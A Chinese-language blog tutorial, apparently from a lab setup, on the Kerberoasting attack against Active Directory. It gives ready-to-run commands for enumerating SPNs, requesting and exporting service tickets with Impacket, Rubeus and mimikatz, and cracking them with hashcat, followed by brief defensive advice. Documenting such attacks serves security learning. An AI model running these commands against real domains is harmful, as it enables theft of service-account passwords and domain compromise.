知乎 网站建设,帷客分享 wordpress,用易语言做抢购网站软件下载,php工具箱是直接做网站的吗说明
Kerberoasting 攻击发生在Kerberos协议的TGS_REP阶段#xff0c;KDC的TGS服务返回一个由服务Hash加密的ST给客户端。由于该ST是用服务Hash进行加密的#xff0c;因此客户端在拿到该ST后可以用于本地离线爆破。
攻击的过程
攻击者提供一个正常的域用户密码对域进行身份…说明
Kerberoasting 攻击发生在Kerberos协议的TGS_REP阶段KDC的TGS服务返回一个由服务Hash加密的ST给客户端。由于该ST是用服务Hash进行加密的因此客户端在拿到该ST后可以用于本地离线爆破。
攻击的过程
攻击者提供一个正常的域用户密码对域进行身份认证KDC在验证账户和密码的有效性后会返回一个TGT。该TGT用于以后的ST请求。攻击者使用获得的TGT请求针对指定SPN的ST。在请求服务票据的TGS-REQ进程中攻击者可以指定其支持的Kerberos 加密类型为RC4_HMAC_MD5(ARCFOUR-HMAC MD5因为RC4_HMAC_MD5加密算法相比于其他加密算法更容易被破解。
Kerberoasting攻击在实战中主要分为如下4步
查询域内注册于域用户下的SPN请求指定SPN的ST导出请求的ST对该导出的ST进行离线爆破。 选择攻击主机
攻击主机必须是域控主机内的user而不是当前主机下的用户如果是当前主机下的用户那么当前主机只是加入了域而并非和域控相关联。 xie\hack 321qq.com SPN的发现
这是Kerberoasting攻击的第一步。首先发现域内所有注册于域用户下的SPN认情况下。 域内会有一个注册在用户krbtgt下的SPN kadmin/changepw。但该SPN对于Kerberoasting 攻击是没有意义的因为用户krbtgt的密码是随机生成的几乎不可能爆破出来。 RiskySPN RiskySPN 是一个PowerShell 脚本的集合专注于检测与SPN相关的账户是否滥用。该脚本可以帮助我们自动识别弱密码服务票据根据用户账户和密码过期时间来查找最容易包含弱密码的票据。执行如下命令该脚本会自动查找并过滤出自动去除注册于krbtgt下的kadmin/changepw)当前域内注册于域用户下的可能包含弱密码的SPN的详细信息。 Import-Module .\Find-PotentiallyCrackableAccounts.ps1;Find-PotentiallyCrackableAccounts -FullData #PowerShell脚本用法 Import-Module .\GetUserSPNs.ps1 PowerView.ps1 PowerView.ps1是 PowerSnolit 中Recon 目录下的一个PowerShell脚本该脚本可用于查询过滤出域用户下注册了SPN的用户包括krbtgt用户并返回用户的详细信息。 执行命令如下: Import-Module .\PowerView.ps1Get-NetUser -SPN 请求服务票据
当过滤出注册于用户下的SPN之后我们就需要请求这些SPN的服务票据了。 Impacket 请求 Impacket中的GetUserSPNs.py脚本可以请求注册于用户下的所有SPN的服务票据也可以请求注册于指定用户下的SPN的服务票据。该脚本使用命令如下请求注册于用户下的所有SPN的服务票据并以hashcat能破解的格式保存为hash.txt文件 python .\GetUserSPNs.py -request -dc-ip 192.168.1.88 xie.com/administrator:321qq.com -outputfile a.txt Rubeus 请求 Rubeus 中的Kerberoast 支持对所有用户或特定用户执行Kerberoasting 操作它的原理在于先用LDAP查询域内所有注册在域用户下的SPN(除了kadmin/changepw)。再通过发送TGS包直接输出能使用John或 hashcat爆破的Hash。该工具使用命令如下 #请求注册于用户下的所有SPN的服务票据并以hashcat能破解的格式保存为hash.txt文件 Rubeus.exe kerberoast /format:john /outfile:hash.txt mimikatz 请求 使用mimikatz请求指定SPN的服务票据的命令如下请求的服务票据将保存在内存中。#请求指定SPN的服务票据 kerberos::ask/target:MSSQLSvc/WIN-08U6QBF1C4U.xie.com:1433 导出服务票据
在请求服务票据的过程中有的工具可以直接将票据打印出来保存为文件。有的工具会将票据保存在内存中对于保存在内存中的票据我们可以使用工具将其从内存中导出来。
查看内存中的票据
首先我们需要查看内存中保存的票据。可以使用以下命令进行查看#直接在cmd窗口执行 klist 查看了内存中的票据后我们就需要将其导出为文件了。
使用mimikatz导出票据 使用mimikatz将内存中的票据导出来的命令如下执行完成后会在mimikatz同目录下导出 .kirbi格式的票据文件。 mimikatz.exe kerberos::list /export exit
离线破解服务票据
通过前面几步取得了.kirbi票据文件或 hashcat、John能直接破解的文件接下来就需要本地离线破解服务票据了。
kerberoast kerberoast 是用于攻击Kerberos实现的一些工具的集合。该工具中的 tgsrepcrack.py脚本可以对mimikatz导出的.kirbi格式的票据进行爆破。使用 tgsrepcrack.py脚本离线破解.kirbi文件的命令如下 python2 tgsrepcrack.py pass.txt 3-40a40000-hackLDAP\~WIN-08U6QBF1C4U.xie.com\~xie.com-XIE.COM.kirbi 这里我报错了 自己去安装对应得库 去试试
hashcat
针对Impacket和Rebeus 请求的票据格式可以使用hashcat执行如下命令来进行爆 hashcat -m 13100 hash.txt pass.txt --force Kerberoasting 攻击防御 对防守方或蓝队来说针对检测和防御来说 确保服务账户和密码为强密码具有随机性并定期修改。Kerberoasting 能成功的最大因素就是KDC返回的ST是用RC4_HMAC_MD5加密算法加密的攻击者可以比较简单地进行爆破。 如果配置强制使用AES256_HMAC方式对Kerberos 票据进行加密那么即使攻击者获取了ST也无法将其破解。但这种加密方式存兼容性问题。可以定期使用zBang工具检测当前域内危险的SPN。首先运行zBang在弹出的界面中选择 Risky SPNs再单击Launch按钮。过一会儿就可以看到zBang运行成功然后我们通过RiskySPN Results页面就可以看到结果得到2个危险得spn